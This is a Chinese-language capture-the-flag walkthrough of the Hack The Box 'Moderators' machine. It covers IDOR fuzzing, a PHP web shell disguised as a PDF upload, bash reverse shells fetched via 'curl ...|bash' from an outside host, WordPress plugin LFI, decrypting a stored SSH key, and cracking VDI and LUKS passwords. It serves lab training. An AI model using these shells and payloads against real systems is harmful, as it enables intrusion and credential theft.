Skip to content

Moderators HTB

Synopsis


Moderators 是一个硬 Linux 机器,具有一个博客,其中包含安全报告。

通过不安全的直接对象引用 (IDOR) 可以找到未公开的报告,这会导致可以上传 PDF 文件的日志页面。

使用基本过滤器绕过,可以上传 PHP shell 并以 www-data 的身份获得访问权限。

然后可以发现一个 WordPress 站点在内部运行在端口 8080 上。该站点包含两个插件,brandfolder 和 password-manager,前者具有本地文件包含漏洞,利用该漏洞会导致作为 lexi 用户的 shell。

SSH 密钥可以在 WordPress 数据库中找到,需要从密码管理器插件中破解。修改所述插件允许对 SSH 密钥进行解密,从而可以访问名为 john 的第二个用户。

在第二个用户的主文件夹中有一个虚拟磁盘映像 (.vdi) 文件,该文件已加密。使用 .vbox 密码破解器可以恢复密码。

磁盘上有一个 LUKS 加密文件系统,也可以使用 bash 脚本进行暴力破解。

解密后,文件系统包含脚本,其中一个包含第二个用户的密码。密码可用于使用 sudo 运行任何命令。

Skills Required

Enumeration Fuzzing web applications Password cracking Basic usage of Virtual Machines

Skills Learned

Bypassing file upload filters [[Insecure direct object references (IDOR)|Insecure Direct Object Reference(IDOR 不安全对象引用)]] Leveraging WordPress plugin vulnerabilities(利用 WordPress 插件漏洞)

Enumeration


使用 Nmap 扫描端口

$ ports=$(nmap -p- --min-rate=1000 -T4 $target | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 
$ nmap -p$ports -sC -sV 10.10.11.173

![[Pasted image 20221112172654.png]]

Nmap 输出显示当前只有 2 个端口打开,端口 22 (SSH) 和端口 80 (Apache2)。让我们用浏览器导航到 80 端口来看看这个网站。

![[Pasted image 20221112172808.png]]

最初的网页有一个欢迎页面,虽然上面似乎没有什么有趣的东西,但有一个博客链接。导航到所述链接,我们会看到以下页面。

![[Pasted image 20221112172852.png]]

上述博客讨论了安全漏洞披露,并提供了报告链接。

![[Pasted image 20221112172958.png]]

看看这份报告,到目前为止还没有太多的兴趣,但是,URL 揭示了一个潜在的攻击媒介。不安全的直接对象引用 (IDOR) 是一个漏洞,攻击者可以根据可预测的模式(如数字序列)猜测对象。在 URL 中,我们可以看到报告链接到编号规则 (8121)。让我们使用 Ffuf 对可能隐藏的报告进行模糊测试。由于我们想用数字序列进行模糊测试,我们可以使用 seq 命令轻松创建数字单词列表并将输出重定向到文件。接下来,我们将 Ffuf 与生成的词表一起使用,同时使用 -fw 标记过滤掉默认结果。

$ seq 1111 9999 > report_ids 
$ ffuf -u 'http://10.10.11.173/reports.php?report=FUZZ' -w report_ids -fw 3091

![[Pasted image 20221112173208.png]]

如输出所示,总共有 6 个报告。让我们将这些报告 ID 保存在一个名为 correct_ids 的新文件中。浏览所有显示的报告,只有报告 9798 看起来很有趣。

已识别的报告末尾包含一个“LOGS”对象和字符串 logs/e21cece511f43a5cb18d4932429915ed/ ,这可疑地看起来像一个目录。尝试访问网站中的此目录会返回一个空白页面。相反,让我们尝试通过使用 Ffuf 对文件进行模糊测试。安全报告通常保存为 PDF、Doc/Docx 等文档文件,所以让我们专门针对这些文件尝试 fuzzing。

$ ffuf -u 'http://10.10.11.173/logs/e21cece511f43a5cb18d4932429915ed/FUZZ' -w /usr/share/wordlists/dirb/common.txt -e .pdf,.doc,.docx

![[Pasted image 20221112175128.png]]

Ffuf 的输出显示有一个名为 logs.pdf 的 PDF 文件。让我们看一下文件。

![[Pasted image 20221112175259.png]]

不幸的是,该文件是空的,但由于报告页面容易受到 IDOR 的攻击,因此日志可能也是如此。 URL 的一部分 (e21cece511f43a5cb18d4932429915ed) 看起来像一个 MD5 哈希。这可能是报告编号的哈希值。让我们确认一下 e21cece511f43a5cb18d4932429915ed 是否确实是 9798 的哈希。

$ echo -n 9798 | md5sum

![[Pasted image 20221112175410.png]]

md5sum 的输出表明哈希确实是根据报告 ID 生成的。让我们为报告 ID 创建一个包含所有 MD5 哈希的列表。

$ for num in $(cat ffuf.report_ids.out | awk '{print $1}'); do echo -n $num |md5sum; done

![[Pasted image 20221112175715.png]]

首先导航到报告 2589,我们看到提到的上传页面,位于 /logs/report_log_upload.php

![[Pasted image 20221112204018.png]]

Foothold


让我们访问 /logs/report_log_upload.php 并确定我们是否可以上传文件。

![[Pasted image 20221112204332.png]]

我们可以尝试上传一个 PHP 文件来尝试在远程系统上执行代码。让我们创建一个名为 shell.php 的文件,其内容如下。

<?php echo system($_GET['cmd']); ?>

尝试上传文件时会出现错误,指出只允许 PDF 文件! .让我们尝试一些绕过文件类型检查的常用方法。用于验证文件上传的三种最常用方法是:

检查文件扩展名(在这种情况下是 .pdf ) 检查上传请求中使用的 MIME 类型(这需要是 application/pdf ) 检查魔术字节(magic bytes)%PDF- )。这些位于每个文件的开头,指示文件类型。

让我们创建一个名为 shell.pdf.php 的新文件,其内容如下。

%PDF-<?php echo system($_GET['cmd']); ?>

我们使用 Burpsuite 拦截上传请求并将 MIME 类型更改为 application/pdf 。整个请求如下所示。 ![[Pasted image 20221112204955.png]]

转发请求后,我们收到通知说文件上传成功;但是,我们没有找到可以找到上传报告的位置。让我们尝试使用 Ffuf 暴力破解上传文件夹的名称。

$ ffuf -u 'http://10.10.11.173/logs/FUZZ' -w /usr/share/wordlists/dirb/common.txt

![[Pasted image 20221112205108.png]]

Ffuf 命令的输出显示名称为 uploads 的条目。让我们导航到 /logs/uploads/shell.pdf.php?cmd=id 并检查我们的命令是否执行。

访问此链接后,我们没有得到任何输出,这意味着服务器可能阻塞了一些函数,例如 system() 。 Hacktricks 有一些系统替代方案,在查看列表后,我们发现以下有效负载有效。

%PDF-<?php echo fread(popen($_GET['cmd'], "r"), 4096); ?>

我们将有效负载上传为 rp.pdf.php ,记住再次更改请求中的 MIME 类型,并获取命令的输出。

![[Pasted image 20221112205650.png]]

实现远程代码执行后,我们现在尝试通过创建以下名为 shell.sh 的文件来获取反向 shell,其内容如下:

#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.29/1337 0>&1

我们将文件托管在 Web 服务器上。

$ python3 -m http.server 8080

下一步,我们启动 netcat 监听 1337 端口

$ nc -lvnp 1337

最后,我们在目标机器上运行以下命令来触发我们的 payload

$ curl 10.10.14.29:8080/shell.sh|bash

通过导航到 /logs/uploads/rp.pdf.php? 发送命令后 cmd=curl+10.10.14.29:8080%2Fshell.sh|bash ,我们在 netcat 监听器上收到一个反向 shell

![[Pasted image 20221112210122.png]]

Lateral Movement


我们首先寻找可能在仅侦听 localhost 的端口上运行的任何服务。

ss -tlpn

![[Pasted image 20221112210201.png]]

ss 的输出显示正在监听的本地端口;其中,端口 8080 。让我们尝试查找正在使用此端口的进程。

ps aux | grep 8080

![[Pasted image 20221112210248.png]]

输出显示 /opt/site.new/ 处的目录,并显示该进程正在以用户 lexi 身份运行。检查目录的内容后,我们发现它托管了一个 WordPress 站点。我们可以查看 plugins 文件夹以找到可能存在漏洞的插件。

$ ls -l /opt/site.new/wp-content/plugins/

![[Pasted image 20221112210333.png]]

上一条命令的输出显示有两个插件,brandfolderpasswordmanager。在搜索 brandfolder 漏洞利用时,我们发现它容易受到本地文件包含的影响。链接显示漏洞存在于以下代码中。

<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
require_once($_REQUEST['wp_abspath'] . 'wp-load.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/media.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/file.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/image.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/post.php');

在上面的代码中,有一个加载 PHP 文件的函数。加载静态 PHP 文件很可能不是漏洞风险,但是,在这种情况下,它会处理用户输入,这可能会导致加载任意文件。在代码中我们可以看到 $_REQUEST['wp_abspath'] 被使用,它在我们的控制之中,因为它是一个请求参数。

例如,如果我们将 /dev/shm/ 作为输入,它将加载 /dev/shm/wp-load.php ,附加到我们输入的其他路径也是如此。为了利用这一点,我们首先在 /dev/shm/wp-load.php 中创建一个包含以下内容的文件。

<?php echo fread(popen("curl 10.10.14.42:8989/s2.sh|bash", "r"), 4096); ?>

我们修改现有的 shell.sh 并将端口 1337 更改为 4444 并在端口 4444 上启动 netcat 侦听器。

接下来,我们在目标机器上使用 cURL 来尝试执行我们的反向 shell。

$ curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'

发出请求后,我们在端口 4444 上收到一个 shell。 ![[Pasted image 20221112210708.png]]

在以用户 lexi 获得 shell 后,我们很快注意到该用户的主目录中有 SSH 密钥。让我们在本地复制它们并通过 SSH 连接。

$ cat /home/lexi/.ssh/id_rsa

![[Pasted image 20221112210906.png]]

我们将密钥复制到我们的机器上,将其权限设置为 600 ,然后以 lexi 身份通过 SSH 进入系统。

$ chmod 600 lexi.ssh 
$ ssh -i lexi.ssh lexi@10.10.11.173

![[Pasted image 20221112210956.png]]

作为 lexi ,我们现在有权读取 /opt/site.new/wp-config.php ,所以让我们检查一下。在配置文件中,我们找到以下凭据。

define( 'DB_NAME', 'wordpress' ); 

/** MySQL database username */ 
define( 'DB_USER', 'wordpressuser' ); 

/** MySQL database password */ 
define( 'DB_PASSWORD', 'p' );

使用这些凭据,我们可以登录 mysql 。

mysql -u wordpressuser -p

![[Pasted image 20221112211134.png]]

要检查 WordPress 使用的表,我们必须首先更改为数据库

USE wordpress; 
SHOW TABLES;

![[Pasted image 20221112211225.png]]

从前面命令的输出中,我们可以看到数据库中存在不符合 WordPress 标准的表,特别是 wp_pms_passwords 。该表可以由插件使用。鉴于当前安装了两个,我们可以假设它是 passwords-manager 。在搜索引擎上搜索插件,我们找到以下链接,说明该插件将 AES 128 加密密码存储在数据库中。

让我们检查一下表包含的内容

DESCRIBE wp_pms_passwords; 
SELECT user_name, user_email FROM wp_pms_passwords;

![[Pasted image 20221112211400.png]]

上面的输出显示有一个用户名设置为 SSH key 和电子邮件设置为 john@moderators.htb 的条目。我们可以使用以下命令读取密钥。

SELECT user_password FROM wp_pms_passwords WHERE user_email='john@moderators.htb';

![[Pasted image 20221112211513.png]]

我们将密钥复制到本地文件。现在我们已经获得了加密的密码,我们需要一个密钥来解密它。查看 /opt/site.new/wpcontent/plugins/passwords-manager 中的 passwords-manager 插件的源代码,我们找到了感兴趣的特定行。

$ $key_qry = "SELECT * FROM {$prefix}options where option_name='pms_encrypt_key'";

上面的代码行显示有一个名为 pms_encrypt_key 的 WordPress 配置选项,其中存储了密钥。我们可以使用以下查询查看值

SELECT option_value FROM wp_options WHERE option_name='pms_encrypt_key';

(@McEXk%HU#{/R3s

![[Pasted image 20221112211641.png]]

顾名思义,MySQL返回的字符串就是我们数据的加解密密钥。我们现在拥有加密数据和解密密钥。我们现在需要的只是解密算法。查看更多源代码时,我们会在 /opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.php 找到处理加密的文件。文件内容如下。

<?php

class Encryption
{
    protected $encryptMethod = 'AES-256-CBC';
    /**
    * Decrypt string.
    */
    public function decrypt($encryptedString, $key)
    {
    $json = json_decode(base64_decode($encryptedString), true); 
    <SNIP>
    $hashKey = hash_pbkdf2('sha512', $key, $salt, $iterations, ($this- >encryptMethodLength() / 4)); 
    unset($iterations, $json, $salt); 

    $decrypted= openssl_decrypt($cipherText , $this->encryptMethod, hex2bin($hashKey), OPENSSL_RAW_DATA, $iv); 

    unset($cipherText, $hashKey, $iv); 

    return $decrypted;
    }// decrypt
    protected function encryptMethodLength() 
    { 
        $number = filter_var($this->encryptMethod, FILTER_SANITIZE_NUMBER_INT);
        return intval(abs($number));
    }// encryptMethodLength

    /**
    * Set encryption method
    */
    public function setCipherMethod($cipherMethod) 
    {
        $this->encryptMethod = $cipherMethod;
    }// setCipherMethod
}

我们修改此文件,以便我们能够解密 John 帐户的 SSH 密钥。最终文件的内容如下。

<?php
class Encryption {
    protected $encryptMethod = 'AES-256-CBC';
    public function decrypt($encryptedString, $key) {
        $json = json_decode(base64_decode($encryptedString), true);
        try {
            $salt = hex2bin($json["salt"]);
            $iv = hex2bin($json["iv"]);
        }
        catch(Exception $e) {
            return null;
        }
        $cipherText = base64_decode($json['ciphertext']);
        $iterations = intval(abs($json['iterations']));
        if ($iterations <= 0) {
            $iterations = 999;
        }
        $hashKey = hash_pbkdf2('sha512', $key, $salt, $iterations);
        unset($iterations, $json, $salt);
        $decrypted = openssl_decrypt($cipherText, $this->encryptMethod, hex2bin($hashKey), OPENSSL_RAW_DATA, $iv);
        unset($cipherText, $hashKey, $iv);
        return $decrypted;
    }
}
$e = new Encryption();
$c = 'eyJjaXBoZXJ0ZXh0<--SNIP-->';
$d = $e->decrypt($c, '(@McEXk%HU#{/R3s');
echo $d; ?>

我们删除了几个不必要的函数: setCipherMethod(),因为我们只使用一个密码。 encryptionMethodLength(),解密不需要这个函数。

随着函数的删除,我们将加密数据添加到名为 $c 的变量中,并使用我们从 MySQL 收集的解密密钥将其解密为名为 $d 的变量。

运行上面提到的 PHP 文件,我们得到以下输出。

$ php decrypt.php

![[Pasted image 20221112212523.png]]

在上面的输出中,我们可以看到返回的键有空格而不是换行符。

使用一些命令行魔法,我们用换行符替换所有空格并将结果转储到一个名为 john.ssh 的文件中。

(echo '-----BEGIN OPENSSH PRIVATE KEY-----'; php decrypt.php | sed 's/ /\n/g' | grep -v OPEN | tail -n+4 | head -n-3; echo '-----END OPENSSH PRIVATE KEY-----') > john.ssh

最后我们将 SSH 密钥的权限设置为 600 并登录。

$ chmod 600 john.ssh 
$ ssh -i john.ssh john@10.10.11.173

![[Pasted image 20221112212643.png]]

Privilege Escalation


在 john 的主目录中,我们找到两个目录, scripts 和 stuff 。乍一看,scripts 文件夹似乎包含随机文件,所以我们来看看 stuff 。在 stuff 目录中,我们发现另外两个名为 VBOX 和 exp 的目录。 exp 文件夹似乎包含导出的聊天消息。让我们使用带有 -r 标志的 grep 递归搜索聊天日志中提及的任何密码。

$ grep password -r

![[Pasted image 20221113074817.png]]

阅读更多文件 2021-09-19.exp 为我们提供了更多背景信息。

9/19/21, 00:44 - CARTOR BAIL: U know, I miss the old Sysadmin john. He was funny and stupid at the same time. ;) 
9/19/21, 00:44 - JOHN MILLER: Hahaha real funny. But it's kinda true though. 
9/19/21, 00:44 - CARTOR BAIL: Doing reboots at the deployement, Calling our clinet bro, using the same dubmb password... God I miss those days.

在上面的聊天记录中,提到了 john 重复使用了相同的密码。让我们暂时记下这一点,然后看一下 VBOX 文件夹。在 VBOX 文件夹中,我们看到有两个名为 2019.vdi2019-08-01.vbox 的文件。具有 .vdi 扩展名的文件是 Virtual Disk Image,由 VirtualBox 使用。让我们使用 scp 实用程序下载这两个文件。

$ scp -i john.ssh -r john@$t:~/stuff/VBOX .

接下来,让我们将 2019.vdi 磁盘附加到虚拟机。在我们的虚拟机设置中,我们转到 storage,单击 Add new storage > Hard Disk,然后单击 Add。然后我们选择磁盘映像。我们点击确认并启动机器。启动机器后,我们会收到密码提示。 ![[Pasted image 20221113075316.png]]

我们目前不知道这个密码可能是什么。 .vbox 文件是 Virtual Box 虚拟机的配置文件,让我们看一下。

<?xml version="1.0"?>
<!--
** DO NOT EDIT THIS FILE.
** If you make changes to this file while any VirtualBox related application
** is running, your changes will be overwritten later, without taking effect.
** Use VBoxManage or the VirtualBox Manager GUI to make changes.
-->
<VirtualBox xmlns="http://www.virtualbox.org/" version="1.16-windows">
<Machine uuid="{528b3540-b8be-4677-b43f-7f4969137747}" name="Moderator 1"
OSType="Ubuntu_64" snapshotFolder="Snapshots" lastStateChange="2021-09-15T16:44:57Z">
<MediaRegistry>
<HardDisks>
<HardDisk uuid="{12b147da-5b2d-471f-9e32-a32b1517ff4b}" location="F:/2019.vdi"
format="VDI" type="Normal">
<Property name="CRYPT/KeyId" value="Moderator 1"/>
<Property name="CRYPT/KeyStore" value="U0NORQABQUVTLVhUUzI1Ni1QTEFJTjY0<--
SNIP-->"/>

<SNIP>

在上面显示的文件片段中,我们可以看到有一个加密驱动器( 2019.vdi ),所以我们需要破解密码。在网上搜索如何破解 Vbox 加密驱动器密码后,我们找到了这个工具。让我们使用以下命令进行尝试。

$ python3 pyvboxdie-cracker.py -v 2019-08-01.vbox -d /usr/share/wordlists/rockyou.txt

![[Pasted image 20221113075501.png]]

上面的输出显示加密驱动器的密码是 computer 。启动虚拟机 l并输入密码后,我们就可以访问虚拟磁盘了。

现在让我们尝试挂载新磁盘。

$ mout /dev/sdb /mnt

![[Pasted image 20221113075552.png]]

前面提到的 mount 命令的输出显示一个错误,指出驱动器使用 crypto_LUKS 文件系统。让我们将驱动器复制到一个文件中并运行 file 命令。

$ di
$ file disk

![[Pasted image 20221113075655.png]]

file 命令的输出显示我们有一个 LUKS 加密文件。当我们在网上搜索破解 LUKS 文件的方法时,我们发现了这篇文章。我们可以使用以下命令来测试密码是否有效。

$ echo -n "test" | cryptsetup --test-passphrase open disk

让我们创建一个循环遍历 rockyou.txt 的脚本,并尝试使用每个读取的密码解密 LUKS 驱动器。

#!/bin/bash 

for w in $(cat rockyou.txt); do
    echo -ne "\r\033[KTesting $w";
    echo -n "$w" | cryptsetup luksOpen --test-passphrase disk 2>/dev/null && \
        echo -e "\rFound password: $w" && \
        break
done

我们将上面的脚本放入一个名为 crack.sh 的文件中,使其可执行并运行它。 ![[Pasted image 20221113080046.png]]

该脚本成功破解了 LUKS 文件的密码,我们继续打开磁盘并将其挂载到 /mnt

$ cryptsetup luksOpen disk Volume 
$ mount /dev/mapper/volume /mnt

一旦我们进入 /mnt 目录,我们会看到两个目录, lost+foundscripts 。让我们运行 grep 以查看任何文件中是否有任何密码。

$ grep -R 'password\|passwd\|pswd'

![[Pasted image 20221113080848.png]]

从上面显示的输出中,我们可以看到一个名为 distro_update.sh 的文件中有一个密码 $_THE_best_Sysadmin_Ever_。查看文件的内容,它使用此密码运行 sudo 命令。让我们以 john 的身份回到 shell,看看是否可以使用 sudo 和这个密码。

$ sudo /bin/bash

![[Pasted image 20221113081003.png]]

We have successfully used Sudo to get root. The root flag can be found at /root/root.txt .